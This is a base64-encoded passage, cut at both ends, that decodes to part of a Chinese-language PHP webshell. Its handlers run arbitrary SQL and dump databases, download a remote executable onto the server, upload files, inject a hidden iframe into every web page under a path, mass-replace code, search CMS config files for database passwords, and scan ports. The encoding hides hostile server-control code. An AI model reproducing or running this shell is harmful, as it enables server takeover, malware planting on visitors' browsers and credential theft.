kcXVlcnkpKSB7DQoJCWh0bWxfYSgnP2VhbnZlcj1pc3NxbCZkYj0nLiRkYlsnRGF0YWJhc2UnXSwkZGJbJ0RhdGFiYXNlJ10pOw0KCQllY2hvICcmbmJzcDsmbmJzcDsnOw0KCX0NCiAgaHRtbF9uKCc8L3RkPjwvdHI+Jyk7DQogIGlmKCRfR0VUWydkYiddKXsNCiAgCWNzc19qcygiMyIpOw0KICAgIG15c3FsX3NlbGVjdF9kYigkX0dFVFsnZGInXSwgJHNxbGNvbik7DQogICAgaHRtbF9uKCc8dHI+PHRkPjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iRGJGb3JtIj48dGV4dGFyZWEgbmFtZT0ic3FsIiBDT0xTPSI4MCIgUk9XUz0iMyI+Jy4kX1BPU1RbJ3NxbCddLic8L3RleHRhcmVhPjxicj4nKTsNCiAgICBodG1sX3NlbGVjdChhcnJheSgwPT4iLS1TUUzT77eoLS0iLDc9PiLM7bzTyv2+3SIsOD0+Ism+s/3K/b7dIiw5PT4i0N64xMr9vt0iLDEwPT4ivajK/b7dse0iLDExPT4iyb7K/b7dse0iLDEyPT4izO2809fWts4iLDEzPT4iyb6z/dfWts4iKSwwLCJvbmNoYW5nZT0ncmV0dXJuIEZ1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknIik7DQogICAgaHRtbF9pbnB1dCgic3VibWl0IiwiZG9xdWVyeSIsIta00NAiKTsNCiAgICBodG1sX2EoIj9lYW52ZXI9aXNzcWwmZGI9Ii4kX0dFVFsnZGInXSwkX0dFVFsnZGInXSk7DQogICAgaHRtbF9uKCctLS0+Jyk7DQogICAgaHRtbF9hKCI/ZWFudmVyPWlzc3FsJmRiPSIuJF9HRVRbJ2RiJ10uIiZ0YWJsZT0iLiRfR0VUWyd0YWJsZSddLCRfR0VUWyd0YWJsZSddKTsNCiAgICBodG1sX24oJzwvZm9ybT48YnI+Jyk7DQogIAlpZighZW1wdHkoJF9QT1NUWydzcWwnXSkpew0KCQkJaWYgKEBteXNxbF9xdWVyeSgkX1BPU1RbJ3NxbCddLCRzcWxjb24pKSB7DQoJCQkJZWNobyAi1rTQ0FNRTNPvvuSzybmmIjsNCgkJCX1lbHNlew0KCQkJCWVjaG8gIrP2tO06ICIubXlzcWxfZXJyb3IoKTsNCgkJCX0NCiAgCX0NCiAgICBpZigkX0dFVFsndGFibGUnXSl7DQogICAgICBodG1sX24oJzx0YWJsZSBib3JkZXI9MT48dHI+Jyk7DQogICAgICAkcXVlcnkgPSAiU0hPVyBDT0xVTU5TIEZST00gIi4kX0dFVFsndGFibGUnXTsNCiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJHNxbGNvbik7DQogICAgICAkZmllbGRzID0gYXJyYXkoKTsNCiAgICAgIHdoaWxlKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7DQogICAgICAgIGFycmF5X3B1c2goJGZpZWxkcywkcm93WydGaWVsZCddKTsNCiAgICAgICAgaHRtbF9uKCc8dGQ+PGZvbnQgY29sb3I9I0ZGRkY0ND4nLiRyb3dbJ0ZpZWxkJ10uJzwvZm9udD48L3RkPicpOw0KICAgICAgfQ0KICAgICAgaHRtbF9uKCc8L3RyPjx0cj4nKTsNCiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAiLiRfR0VUWyd0YWJsZSddLCRzcWxjb24pIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiAgICAgIHdoaWxlKCR0ZXh0ID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCiAgICAgIAlmb3JlYWNoKCRmaWVsZHMgYXMgJHJvdyl7DQogICAgICAJCWlmKCR0ZXh0WyRyb3ddID09ICIiKSAkdGV4dFskcm93XSA9ICdOVUxMJzsNCiAgICAgIAkJaHRtbF9uKCc8dGQ+Jy4kdGV4dFskcm93XS4nPC90ZD4nKTsNCiAgICAgIAl9DQogICAgICAJZWNobyAnPC90cj4nOw0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlew0KICAgICAgJHF1ZXJ5ID0gIlNIT1cgVEFCTEVTIEZST00gIiAuICRfR0VUWydkYiddOw0KICAgICAgJGRhdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbGNvbikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJGRhdCkpew0KICAgICAgICBodG1sX24oIjx0cj48dGQ+PGEgaHJlZj0nP2VhbnZlcj1pc3NxbCZkYj0iLiRfR0VUWydkYiddLiImdGFibGU9Ii4kcm93WzBdLiInPiIuJHJvd1swXS4iPC9hPjwvdGQ+PC90cj4iKTsNCiAgICAgIH0NCiAgICB9DQogIH0NCglicmVhazsNCg0KICAgIGNhc2UgImRvd25sb2FkZXIiOg0KCSRDb21fZHVybCA9IGlzc2V0KCRfUE9TVFsnZHVybCddKSA/ICRfUE9TVFsnZHVybCddIDogJ2h0dHA6Ly93d3cuYmFpZHUuY29tL2Rvd24vbXVtYS5leGUnOw0KCSRDb21fZHBhdGg9IGlzc2V0KCRfUE9TVFsnZHBhdGgnXSkgPyAkX1BPU1RbJ2RwYXRoJ10gOiBGaWxlX1N0cihkaXJuYW1lKG15YWRkcmVzcykuJy9tdW1hLmV4ZScpOw0KcHJpbnQ8PDxFTkQNCgk8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+s6zBrL3TIDxpbnB1dCBuYW1lPSJkdXJsIiB2YWx1ZT0ieyRDb21fZHVybH0iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+z8LU2LW9IDxpbnB1dCBuYW1lPSJkcGF0aCIgdmFsdWU9InskQ29tX2RwYXRofSIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjYwMHB4OyI+PC9kaXY+DQogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdmFsdWU9Is/C1NgiIHR5cGU9InN1Ym1pdCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+DQpFTkQ7DQoJaWYoKCFlbXB0eSgkX1BPU1RbJ2R1cmwnXSkpICYmICghZW1wdHkoJF9QT1NUWydkcGF0aCddKSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSRjb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ2R1cmwnXSk7DQoJCWlmKCEkY29udGVudHMpIGVjaG8gJ87et6i2wcih0qrPwtTYtcTK/b7dJzsNCgkJZWxzZSBlY2hvIEZpbGVfV3JpdGUoJF9QT1NUWydkcGF0aCddLCRjb250ZW50cywnd2InKSA/ICfPwtTYzsS8/rPJuaYnIDogJ8/C1NjOxLz+yqew3Cc7DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KCWJyZWFrOw0KDQoJY2FzZSAiaXNzcWwiOg0KCXNlc3Npb25fc3RhcnQoKTsNCiAgaWYoJF9QT1NUWydzcWx1c2VyJ10gJiYgJF9QT1NUWydzcWxwYXNzJ10pew0KICAgICRfU0VTU0lPTlsnc3FsX3VzZXInXSA9ICRfUE9TVFsnc3FsdXNlciddOw0KICAgICRfU0VTU0lPTlsnc3FsX3Bhc3N3b3JkJ10gPSAkX1BPU1RbJ3NxbHBhc3MnXTsNCiAgfQ0KICBpZigkX1BPU1RbJ3NxbGhvc3QnXSl7JF9TRVNTSU9OWydzcWxfaG9zdCddID0gJF9QT1NUWydzcWxob3N0J107fQ0KICBlbHNleyRfU0VTU0lPTlsnc3FsX2hvc3QnXSA9ICdsb2NhbGhvc3QnO30NCiAgaWYoJF9QT1NUWydzcWxwb3J0J10peyRfU0VTU0lPTlsnc3FsX3BvcnQnXSA9ICRfUE9TVFsnc3FscG9ydCddO30NCiAgZWxzZXskX1NFU1NJT05bJ3NxbF9wb3J0J10gPSAnMzMwNic7fQ0KICBpZigkX1NFU1NJT05bJ3NxbF91c2VyJ10gJiYgJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSl7DQogICAgaWYoISgkc3FsY29uID0gQG15c3FsX2Nvbm5lY3QoJF9TRVNTSU9OWydzcWxfaG9zdCddLic6Jy4kX1NFU1NJT05bJ3NxbF9wb3J0J10sJF9TRVNTSU9OWydzcWxfdXNlciddLCRfU0VTU0lPTlsnc3FsX3Bhc3N3b3JkJ10pKSl7DQogICAgICB1bnNldCgkX1NFU1NJT05bJ3NxbF91c2VyJ10sICRfU0VTU0lPTlsnc3FsX3Bhc3N3b3JkJ10sICRfU0VTU0lPTlsnc3FsX2hvc3QnXSwgJF9TRVNTSU9OWydzcWxfcG9ydCddKTsNCiAgICAgIGRpZShodG1sX2EoJz9lYW52ZXI9c3Fsc2hlbGwnLCfBrL3Tyqew3Mfrt7W72CcpKTsNCiAgICB9DQogIH0NCiAgZWxzZXsNCiAgICBkaWUoaHRtbF9hKCc/ZWFudmVyPXNxbHNoZWxsJywnway908qnsNzH67e1u9gnKSk7DQogIH0NCiAgJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNIT1cgREFUQUJBU0VTIiwkc3FsY29uKTsNCiAgaHRtbF9uKCc8dHI+PHRkPsr9vt2/4sHQse06Jyk7DQogIHdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJaHRtbF9hKCc/ZWFudmVyPWlzc3FsJmRiPScuJGRiWydEYXRhYmFzZSddLCRkYlsnRGF0YWJhc2UnXSk7DQoJCWVjaG8gJyZuYnNwOyZuYnNwOyc7DQoJfQ0KICBodG1sX24oJzwvdGQ+PC90cj4nKTsNCiAgaWYoJF9HRVRbJ2RiJ10pew0KICAJY3NzX2pzKCIzIik7DQogICAgbXlzcWxfc2VsZWN0X2RiKCRfR0VUWydkYiddLCAkc3FsY29uKTsNCiAgICBodG1sX24oJzx0cj48dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJEYkZvcm0iIGlkPSJEYkZvcm0iPjx0ZXh0YXJlYSBuYW1lPSJzcWwiIGlkPSJzcWwiIENPTFM9IjgwIiBST1dTPSIzIj4nLiRfUE9TVFsnc3FsJ10uJzwvdGV4dGFyZWE+PGJyPicpOw0KICAgIGh0bWxfc2VsZWN0KGFycmF5KDA9PiItLVNRTNPvt6gtLSIsNz0+IsztvNPK/b7dIiw4PT4iyb6z/cr9vt0iLDk9PiLQ3rjEyv2+3SIsMTA9PiK9qMr9vt2x7SIsMTE9PiLJvsr9vt2x7SIsMTI9PiLM7bzT19a2ziIsMTM9PiLJvrP919a2ziIpLDAsIm9uY2hhbmdlPSdyZXR1cm4gRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSciKTsNCiAgICBodG1sX2lucHV0KCJzdWJtaXQiLCJkb3F1ZXJ5Iiwi1rTQ0CIpOw0KICAgIGh0bWxfYSgiP2VhbnZlcj1pc3NxbCZkYj0iLiRfR0VUWydkYiddLCRfR0VUWydkYiddKTsNCiAgICBodG1sX24oJy0tLT4nKTsNCiAgICBodG1sX2EoIj9lYW52ZXI9aXNzcWwmZGI9Ii4kX0dFVFsnZGInXS4iJnRhYmxlPSIuJF9HRVRbJ3RhYmxlJ10sJF9HRVRbJ3RhYmxlJ10pOw0KICAgIGh0bWxfbignPC9mb3JtPjxicj4nKTsNCiAgCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbCddKSl7DQoJCQlpZiAoQG15c3FsX3F1ZXJ5KCRfUE9TVFsnc3FsJ10sJHNxbGNvbikpIHsNCgkJCQllY2hvICLWtNDQU1FM0+++5LPJuaYiOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAis/a07TogIi5teXNxbF9lcnJvcigpOw0KCQkJfQ0KICAJfQ0KICAgIGlmKCRfR0VUWyd0YWJsZSddKXsNCiAgICAgIGh0bWxfbignPHRhYmxlIGJvcmRlcj0xPjx0cj4nKTsNCiAgICAgICRxdWVyeSA9ICJTSE9XIENPTFVNTlMgRlJPTSAiLiRfR0VUWyd0YWJsZSddOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc3FsY29uKTsNCiAgICAgICRmaWVsZHMgPSBhcnJheSgpOw0KICAgICAgd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCiAgICAgICAgYXJyYXlfcHVzaCgkZmllbGRzLCRyb3dbJ0ZpZWxkJ10pOw0KICAgICAgICBodG1sX24oJzx0ZD48Zm9udCBjb2xvcj0jRkZGRjQ0PicuJHJvd1snRmllbGQnXS4nPC9mb250PjwvdGQ+Jyk7DQogICAgICB9DQogICAgICBodG1sX24oJzwvdHI+PHRyPicpOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJF9HRVRbJ3RhYmxlJ10sJHNxbGNvbikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KICAgICAgd2hpbGUoJHRleHQgPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpew0KICAgICAgCWZvcmVhY2goJGZpZWxkcyBhcyAkcm93KXsNCiAgICAgIAkJaWYoJHRleHRbJHJvd10gPT0gIiIpICR0ZXh0WyRyb3ddID0gJ05VTEwnOw0KICAgICAgCQlodG1sX24oJzx0ZD4nLiR0ZXh0WyRyb3ddLic8L3RkPicpOw0KICAgICAgCX0NCiAgICAgIAllY2hvICc8L3RyPic7DQogICAgICB9DQogICAgfQ0KICAgIGVsc2V7DQogICAgICAkcXVlcnkgPSAiU0hPVyBUQUJMRVMgRlJPTSAiIC4gJF9HRVRbJ2RiJ107DQogICAgICAkZGF0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsY29uKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkZGF0KSl7DQogICAgICAgIGh0bWxfbigiPHRyPjx0ZD48YSBocmVmPSc/ZWFudmVyPWlzc3FsJmRiPSIuJF9HRVRbJ2RiJ10uIiZ0YWJsZT0iLiRyb3dbMF0uIic+Ii4kcm93WzBdLiI8L2E+PC90ZD48L3RyPiIpOw0KICAgICAgfQ0KICAgIH0NCiAgfQ0KCWJyZWFrOw0KDQoJY2FzZSAidXBmaWxlcyI6DQoJaHRtbF9uKCc8dHI+PHRkPrf+zvHG98/e1sbJz7SrtaW49s7EvP6089ChOiAnLkBnZXRfY2ZnX3ZhcigndXBsb2FkX21heF9maWxlc2l6ZScpLic8Zm9ybSBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPicpOw0KCWh0bWxfaW5wdXQoInRleHQiLCJ1cHBhdGgiLHJvb3RfZGlyLCI8YnI+yc+0q7W9wre+tjogIiwiNTEiKTsNCnByaW50PDw8RU5EDQo8U0NSSVBUIGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4NCmZ1bmN0aW9uIGFkZFRhbmsoKXsNCnZhciBrPTA7DQogIGs9aysxOw0KICBrPXRhbmsucm93cy5sZW5ndGg7DQogIG5ld1Jvdz1kb2N1bWVudC5hbGwudGFuay5pbnNlcnRSb3coLTEpDQogIDwhLS3JvrP90aHU8S0tPg0KICBuZXdjZWxsPW5ld1Jvdy5pbnNlcnRDZWxsKCkNCiAgbmV3Y2VsbC5pbm5lckhUTUw9IjxpbnB1dCBuYW1lPSd0YW5rTm8nIHR5cGU9J2NoZWNrYm94Jz4gPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3VwZmlsZVtdJyB2YWx1ZT0nJyBzaXplPSc1MCc+Ig0KfQ0KDQpmdW5jdGlvbiBkZWxUYW5rKCkgew0KICBpZih0YW5rLnJvd3MubGVuZ3RoPT0xKSByZXR1cm47DQogIHZhciBjaGVja2l0ID0gZmFsc2U7DQogIGZvciAodmFyIGk9MDtpPGRvY3VtZW50LmFsbC50YW5rTm8ubGVuZ3RoO2krKykgew0KICAgIGlmIChkb2N1bWVudC5hbGwudGFua05vW2ldLmNoZWNrZWQpIHsNCiAgICAgIGNoZWNraXQ9dHJ1ZTsNCiAgICAgIHRhbmsuZGVsZXRlUm93KGkrMSk7DQogICAgICBpLS07DQogICAgfQ0KICB9DQogIGlmIChjaGVja2l0KSB7DQogIH0gZWxzZXsNCiAgICBhbGVydCgix+vRodTx0ru49tKqyb6z/bXEttTP8yIpOw0KICAgIHJldHVybiBmYWxzZTsNCiAgfQ0KfQ0KPC9TQ1JJUFQ+DQo8YnI+PGJyPg0KPHRhYmxlIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYm9yZGVyPTA+DQogICAgICAgICAgPHRyPg0KICAgICAgICAgICAgPHRkIHdpZHRoPSI3JSI+PGlucHV0IGNsYXNzPSJidXR0b24wMSIgdHlwZT0iYnV0dG9uIiAgb25jbGljaz0iYWRkVGFuaygpIiB2YWx1ZT0iIMztILzTICIgbmFtZT0iYnV0dG9uMiIvPg0KICAgICAgICAgICAgPGlucHV0IG5hbWU9ImJ1dHRvbjMiICB0eXBlPSJidXR0b24iIGNsYXNzPSJidXR0b24wMSIgb25DbGljaz0iZGVsVGFuaygpIiB2YWx1ZT0iyb6z/SIgLz4NCiAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgPC90cj4NCjwvdGFibGU+DQo8dGFibGUgIGlkPSJ0YW5rIiB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMSIgY2VsbHNwYWNpbmc9IjEiID4NCjx0cj48dGQ+x+vRodTx0qrJz7SrtcTOxLz+o7o8L3RkPjwvdHI+DQo8dHI+PHRkPjxpbnB1dCBuYW1lPSd0YW5rTm8nIHR5cGU9J2NoZWNrYm94Jz4gPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3VwZmlsZVtdJyB2YWx1ZT0nJyBzaXplPSc1MCc+PC90ZD48L3RyPg0KPC90YWJsZT4NCkVORDsNCglodG1sX24oJzxicj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGZpbGVzIiB2YWx1ZT0iyc+0qyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ire1u9giIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj1cJz9lYW52ZXI9bWFpbiZwYXRoPScucm9vdF9kaXIuJ1wnOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4nKTsNCglpZigkX1BPU1RbJ3VwZmlsZXMnXSl7DQoJCWZvcmVhY2ggKCRfRklMRVNbInVwZmlsZSJdWyJlcnJvciJdIGFzICRrZXkgPT4gJGVycm9yKXsNCgkJCWlmICgkZXJyb3IgPT0gVVBMT0FEX0VSUl9PSyl7DQoJCQkJJHRtcF9uYW1lID0gJF9GSUxFU1sidXBmaWxlIl1bInRtcF9uYW1lIl1bJGtleV07DQoJCQkJJG5hbWUgPSAkX0ZJTEVTWyJ1cGZpbGUiXVsibmFtZSJdWyRrZXldOw0KCQkJCSR1cGxvYWRmaWxlID0gc3RyX3BhdGgoJF9QT1NUWyd1cHBhdGgnXS4nLycuJG5hbWUpOw0KCQkJCSR1cGxvYWQgPSBAY29weSgkdG1wX25hbWUsJHVwbG9hZGZpbGUpID8gJG5hbWUuJG1zZ1syXSA6IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCR1cGxvYWRmaWxlKSA/ICRuYW1lLiRtc2dbMl0gOiAkbmFtZS4kbXNnWzNdOw0KCQkJCWVjaG8gJzxicj48YnI+Jy4kdXBsb2FkOw0KCQkJfQ0KCQl9DQoJfQ0KCWh0bWxfbignPC9mb3JtPicpOw0KCWJyZWFrOw0KDQoJY2FzZSAiZ3VhbWEiOg0KCSRwYXRodCA9IGlzc2V0KCRfUE9TVFsncGF0aCddKSA/ICRfUE9TVFsncGF0aCddIDogcm9vdF9kaXI7DQoJJHR5cGV0ID0gaXNzZXQoJF9QT1NUWyd0eXBlJ10pID8gJF9QT1NUWyd0eXBlJ10gOiAiLmh0bWx8LnNodG1sfC5odG18LmFzcHwucGhwfC5qc3B8LmNnaXwuYXNweCI7DQoJJGNvZGV0ID0gaXNzZXQoJF9QT1NUWydjb2RlJ10pID8gJF9QT1NUWydjb2RlJ10gOiAiPGlmcmFtZSBzcmM9XCJodHRwOi8vbG9jYWxob3N0L2VhbnZlci5odG1cIiB3aWR0aD1cIjFcIiBoZWlnaHQ9XCIxXCI+PC9pZnJhbWU+IjsNCglodG1sX24oJzx0cj48dGQ+zsS8/sDg0M3H69PDInwiuPS/qizSsr/J0tTKx9a4tqjOxLz+w/suPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+Jyk7DQoJaHRtbF9pbnB1dCgidGV4dCIsInBhdGgiLCRwYXRodCwiwre+tre2zqciLCI0NSIpOw0KCWh0bWxfaW5wdXQoImNoZWNrYm94IiwicGFzcyIsIiIsIsq508PEv8K8senA+iIsIiIsdHJ1ZSk7DQoJaHRtbF9pbnB1dCgidGV4dCIsInR5cGUiLCR0eXBldCwiPGJyPjxicj7OxLz+wODQzSIsIjYwIik7DQoJaHRtbF90ZXh0KCJjb2RlIiwiNjciLCI1IiwkY29kZXQpOw0KCWh0bWxfbignPGJyPjxicj4nKTsNCglodG1sX3JhZGlvKCLF+sG/udLC7SIsIsX6wb/H5cLtIiwiZ3VhbWEiLCJxaW5nbWEiKTsNCglodG1sX2lucHV0KCJzdWJtaXQiLCJwYXNzcmV0dXJuIiwiv6rKvCIpOw0KCWh0bWxfbignPC90ZD48L3RyPjwvZm9ybT4nKTsNCglpZighZW1wdHkoJF9QT1NUWydwYXRoJ10pKXsNCgkJaHRtbF9uKCc8dHI+PHRkPsS/serOxLz+Ojxicj48YnI+Jyk7DQoJCWlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgJGJvb2wgPSB0cnVlOyBlbHNlICRib29sID0gZmFsc2U7DQoJCWRvX3Bhc3NyZXR1cm4oJHBhdGh0LCRjb2RldCwkX1BPU1RbJ3JldHVybiddLCRib29sLCR0eXBldCk7DQoJfQ0KCWJyZWFrOw0KDQoJY2FzZSAidGlodWFuIjoNCglodG1sX24oJzx0cj48dGQ+tMu5psTcv8nF+sG/zOa7u87EvP7E2sjdLMfr0KHQxMq508MuPGJyPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPicpOw0KCWh0bWxfaW5wdXQoInRleHQiLCJwYXRoIixyb290X2Rpciwiwre+tre2zqciLCI0NSIpOw0KCWh0bWxfaW5wdXQoImNoZWNrYm94IiwicGFzcyIsIiIsIsq508PEv8K8senA+iIsIiIsdHJ1ZSk7DQoJaHRtbF90ZXh0KCJuZXdjb2RlIiwiNjciLCI1IiwkX1BPU1RbJ25ld2NvZGUnXSk7DQoJaHRtbF9uKCc8YnI+PGJyPszmu7vOqicpOw0KCWh0bWxfdGV4dCgib2xkY29kZSIsIjY3IiwiNSIsJF9QT1NUWydvbGRjb2RlJ10pOw0KCWh0bWxfaW5wdXQoInN1Ym1pdCIsInBhc3NyZXR1cm4iLCLM5ru7IiwiPGJyPjxicj4iKTsNCglodG1sX24oJzwvdGQ+PC90cj48L2Zvcm0+Jyk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncGF0aCddKSl7DQoJCWh0bWxfbignPHRyPjx0ZD7Ev7HqzsS8/jo8YnI+PGJyPicpOw0KCQlpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpICRib29sID0gdHJ1ZTsgZWxzZSAkYm9vbCA9IGZhbHNlOw0KCQlkb19wYXNzcmV0dXJuKCRfUE9TVFsncGF0aCddLCRfUE9TVFsnbmV3Y29kZSddLCJ0aWh1YW4iLCRib29sLCRfUE9TVFsnb2xkY29kZSddKTsNCgl9DQoJYnJlYWs7DQoNCgljYXNlICJzY2FuZmlsZSI6DQoJY3NzX2pzKCI0Iik7DQoJaHRtbF9uKCc8dHI+PHRkPrTLuabE3L/Juty3vbHjtcTL0cv3tb2xo7TmTVlTUUzTw7unw9zC67XExeTWw87EvP4s08PT2szhyKguPGJyPrWxt/7O8cb3zsS8/syrtuDKsSy74dOwz+zWtNDQy9m2yCyyu72o0unKudPDxL/CvLHpwPouPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJzZm9ybSI+PGJyPicpOw0KCWh0bWxfaW5wdXQoInRleHQiLCJwYXRoIixyb290X2Rpciwiwre+tsP7IiwiNDUiKTsNCglodG1sX2lucHV0KCJjaGVja2JveCIsInBhc3MiLCIiLCLKudPDxL/CvLHpwPoiLCIiLHRydWUpOw0KCWh0bWxfaW5wdXQoInRleHQiLCJjb2RlIiwkX1BPU1RbJ2NvZGUnXSwiPGJyPjxicj652Lz819YiLCI0MCIpOw0KCWh0bWxfc2VsZWN0KGFycmF5KCItLU1ZU1FMxeTWw87EvP4tLSIsIkRpc2N1eiIsIlBIUFdpbmQiLCJwaHBjbXMiLCJkZWRlY21zIiwiUEhQQkIiLCJ3b3JkcHJlc3MiLCJzYS1ibG9nIiwiby1ibG9nIiksMCwib25jaGFuZ2U9J3JldHVybiBGdWxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSciKTsNCglodG1sX24oJzxicj48YnI+Jyk7DQoJaHRtbF9yYWRpbygiy9HL987EvP7D+yIsIsvRy/ew/LqszsTX1iIsInNjYW5maWxlIiwic2NhbmNvZGUiKTsNCglodG1sX2lucHV0KCJzdWJtaXQiLCJwYXNzcmV0dXJuIiwiy9HL9yIpOw0KCWh0bWxfbignPC90ZD48L3RyPjwvZm9ybT4nKTsNCglpZighZW1wdHkoJF9QT1NUWydwYXRoJ10pKXsNCgkJaHRtbF9uKCc8dHI+PHRkPtXStb3OxLz+Ojxicj48YnI+Jyk7DQoJCWlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgJGJvb2wgPSB0cnVlOyBlbHNlICRib29sID0gZmFsc2U7DQoJCWRvX3Bhc3NyZXR1cm4oJF9QT1NUWydwYXRoJ10sJF9QT1NUWydjb2RlJ10sJF9QT1NUWydyZXR1cm4nXSwkYm9vbCk7DQoJfQ0KCWJyZWFrOw0KDQoJY2FzZSAic2NhbnBocCI6DQoJaHRtbF9uKCc8dHI+PHRkPtStwO3Kx7j5vt3M2NX3wuu2qNLltcQsx+uy6b+0tPrC68XQts+689TZvfjQ0Mm+s/0uPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+Jyk7DQoJaHRtbF9pbnB1dCgidGV4dCIsInBhdGgiLHJvb3RfZGlyLCKy6dXSt7bOpyIsIjQwIik7DQoJaHRtbF9pbnB1dCgiY2hlY2tib3giLCJwYXNzIiwiIiwiyrnTw8S/wryx6cD6PGJyPjxicj69xbG+wODQzSIsIiIsdHJ1ZSk7DQoJaHRtbF9zZWxlY3QoYXJyYXkoInBocCIgPT4gIlBIUCIsImFzcCIgPT4gIkFTUCIsImFzcHgiID0+ICJBU1BYIiwianNwIiA9PiAiSlNQIikpOw0KCWh0bWxfaW5wdXQoInN1Ym1pdCIsInBhc3NyZXR1cm4iLCKy6dXSIiwiPGJyPjxicj4iKTsNCglodG1sX24oJzwvdGQ+PC90cj48L2Zvcm0+Jyk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncGF0aCddKSl7DQoJCWh0bWxfbignPHRyPjx0ZD7V0rW9zsS8/jo8YnI+PGJyPicpOw0KCQlpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpICRib29sID0gdHJ1ZTsgZWxzZSAkYm9vbCA9IGZhbHNlOw0KCQlkb19wYXNzcmV0dXJuKCRfUE9TVFsncGF0aCddLCRfUE9TVFsnY2xhc3MnXSwic2NhbnBocCIsJGJvb2wpOw0KCX0NCglicmVhazsNCg0KCWNhc2UgInBvcnQiOg0KCSRQb3J0X2lwID0gaXNzZXQoJF9QT1NUWydpcCddKSA/ICRfUE9TVFsnaXAnXSA6ICcxMjcuMC4wLjEnOw0KCSRQb3J0X3BvcnQgPSBpc3NldCgkX1BPU1RbJ3BvcnQnXSkgPyAkX1BPU1RbJ3BvcnQnXSA6ICcyMXwyM3wyNXw4MHwxMTB8MTM1fDEzOXw0NDV8MTQzM3wzMzA2fDMzODl8ODA4MHw0Mzk1OHw1NjMxfDIwNDl8ODczfDk5OSc7DQpwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+yajD6ElQIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpcCIgdmFsdWU9InskUG9ydF9pcH0iIHN0eWxlPSJ3aWR0aDo2MDBweDsiPiA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+tsu/2rrFIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiB2YWx1ZT0ieyRQb3J0X3BvcnR9IiBzdHlsZT0id2lkdGg6NTk3cHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ismow+giIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQo8L2Zvcm0+DQpFTkQ7DQoJaWYoKCFlbXB0eSgkX1BPU1RbJ2lwJ1